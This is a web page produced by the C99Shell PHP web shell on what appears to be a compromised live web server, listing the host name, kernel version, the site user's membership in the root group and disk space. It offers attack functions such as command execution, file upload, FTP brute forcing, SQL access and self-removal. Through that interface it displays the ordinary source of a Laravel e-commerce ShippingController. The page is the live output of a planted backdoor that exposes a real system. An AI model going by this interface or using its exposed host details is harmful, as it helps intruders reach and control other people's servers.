!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/Modules/Shipping/Http/Controllers/   drwxr-xr-x
Free 26.31 GB of 117.98 GB (22.3%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ShippingController.php (6.44 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * @package ShippingController
 * @author TechVillage <support@techvill.org>
 * @contributor Al Mamun <[almamun.techvill@gmail.com]>
 * @created 15-12-2021
 */

namespace Modules\Shipping\Http\Controllers;

use 
Illuminate\Contracts\Support\Renderable;
use 
Illuminate\Http\Request;
use 
App\Http\Controllers\Controller;
use 
App\Models\Preference;

use 
Modules\Shipping\Entities\{
    
ShippingZone,
    
ShippingZoneGeolocale,
    
ShippingZoneShippingMethod,
    
ShippingClass,
    
ShippingZoneShippingClass
};
use 
DB;

class 
ShippingController extends Controller
{
    
/**
     * Shipping List
     *
     * @return \illuminate\contracts\View
     */
    
public function index()
    {
        
$data['shippingZones'] = ShippingZone::with(['shippingZoneGeolocales''shippingZoneShippingMethods''availableClasses'])->get();
        
$classes ShippingClass::select('*')->get();
        
$data['shippingClasses'] = $classes->where('slug''!=''no-class');
        
$data['zoneClasses'] = $classes->where('slug''!=''');
        
$data['setting'] = Preference::getAll()->where('category''shipping_setting')->pluck('value''field')->toArray();
        return 
view('shipping::index'$data);
    }

    
/**
     * Store Shipping Zone
     *
     * @param Request $request
     * @return \Illuminate\Routing\Redirector
     */
    
public function store(Request $request)
    {
        
$shippingZone = [];
        
$shippingZoneMethod = [];
        
$shippingZoneGeolocale = [];
        
$shippingZoneClass = [];
        foreach (
json_decode($request->data) as $key => $value) {
            
$shippingZone[] = ['id' => $value->id'name' => $value->name];

            
$shippingZoneMethod[] = [
                
'shipping_zone_id' => $value->id,
                
'shipping_method_id' => $value->flat_rate_id,
                
'method_title' => $value->flat_rate_name,
                
'tax_status' => $value->flat_rate_tax_status,
                
'cost' => $value->flat_rate_cost,
                
'cost_type' => $value->flat_rate_cost_type,
                
'calculation_type' => $value->flat_rate_calculation_type ?? null,
                
'requirements' => null,
                
'status' => $value->flat_rate_status,
            ];

            
$shippingZoneMethod[] = [
                
'shipping_zone_id' => $value->id,
                
'shipping_method_id' => $value->local_pickup_id,
                
'method_title' => $value->local_pickup_name,
                
'tax_status' => $value->local_pickup_tax_status,
                
'cost' => $value->local_pickup_cost,
                
'cost_type' => $value->local_pickup_cost_type,
                
'calculation_type' => null,
                
'requirements' => null,
                
'status' => $value->local_pickup_status
            
];

            
$shippingZoneMethod[] = [
                
'shipping_zone_id' => $value->id,
                
'shipping_method_id' => $value->free_shipping_id,
                
'method_title' => $value->free_shipping_name,
                
'tax_status' => null,
                
'cost' => $value->free_shipping_cost ?? null,
                
'cost_type' => null,
                
'calculation_type' => $value->free_calculation_type ?? null,
                
'requirements' => $value->free_shipping_requirement,
                
'status' => $value->free_shipping_status,
            ];

            foreach (
$value->location as $key => $location) {
                
$shippingZoneGeolocale[] = [
                    
'shipping_zone_id' => $value->id,
                    
'country' => $location->country,
                    
'state' => $location->state,
                    
'city' => $location->city,
                    
'zip' => $location->zip
                
];
            }

            foreach (
$value->classes as $key => $class) {
                
$shippingZoneClass[] = [
                    
'shipping_zone_id' => $value->id,
                    
'shipping_class_slug' => $class->slug,
                    
'cost' => $class->cost,
                    
'cost_type' => $class->cost_type,
                ];
            }
        }

        
$response = ['status' => 'success''message' => __('The :x has been successfully saved.', ['x' => __('Shipping Zone')])];
        try {
            
DB::beginTransaction();
            (new 
ShippingZone)->remove();

            (new 
ShippingZone)->store($shippingZone);
            (new 
ShippingZoneGeolocale)->store($shippingZoneGeolocale);
            (new 
ShippingZoneShippingMethod)->store($shippingZoneMethod);
            (new 
ShippingZoneShippingClass)->store($shippingZoneClass);
            
DB::commit();
        } catch (
\Exception $e) {
            
DB::rollBack();
            
$response = ['status' => 'fail''message' => $e];
        }
        return 
$response;

    }

    
/**
     * Store Shipping Class
     *
     * @param Request $request
     * @return array $response
     */
    
public function storeClass(Request $request)
    {
        
$response = ['status' => 'success''message' => __('The :x has been successfully saved.', ['x' => __('Shipping Class')])];
        try {
            (new 
ShippingClass)->store($request->data);
        } catch (
\Exception $e) {
            
$response = ['status' => 'fail''message' => $e->getMessage()];
        }
        return 
$response;
    }

    
/**
     * Store Shipping Setting
     *
     * @param Request $request
     * @return \Illuminate\Routing\Redirector
     */
    
public function storeSetting(Request $request)
    {
        
$response $this->messageArray(__('Invalid Request'), 'fail');
        
$category 'shipping_setting';
        
$request['shipping_calculator_cart_page'] = isset($request->shipping_calculator_cart_page) ? 0;
        
$request['hide_shipping_cost'] = isset($request->hide_shipping_cost) ? 0;

        
$i 0;
        foreach (
$request->only(['shipping_calculator_cart_page''hide_shipping_cost''shipping_destination']) as $key => $value) {
            
$data[$i]['category'] = $category;
            
$data[$i]['field']    = $key;
            
$data[$i]['value'] = $value;
            
$i++;
        }
        foreach (
$data as $key => $value) {
            if ((new 
Preference())->storeOrUpdate($value)) {
                
$response $this->messageArray(__('The :x has been successfully saved.', ['x' => __('Shipping setting')]), 'success');
            }
        }

        return 
$response;
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--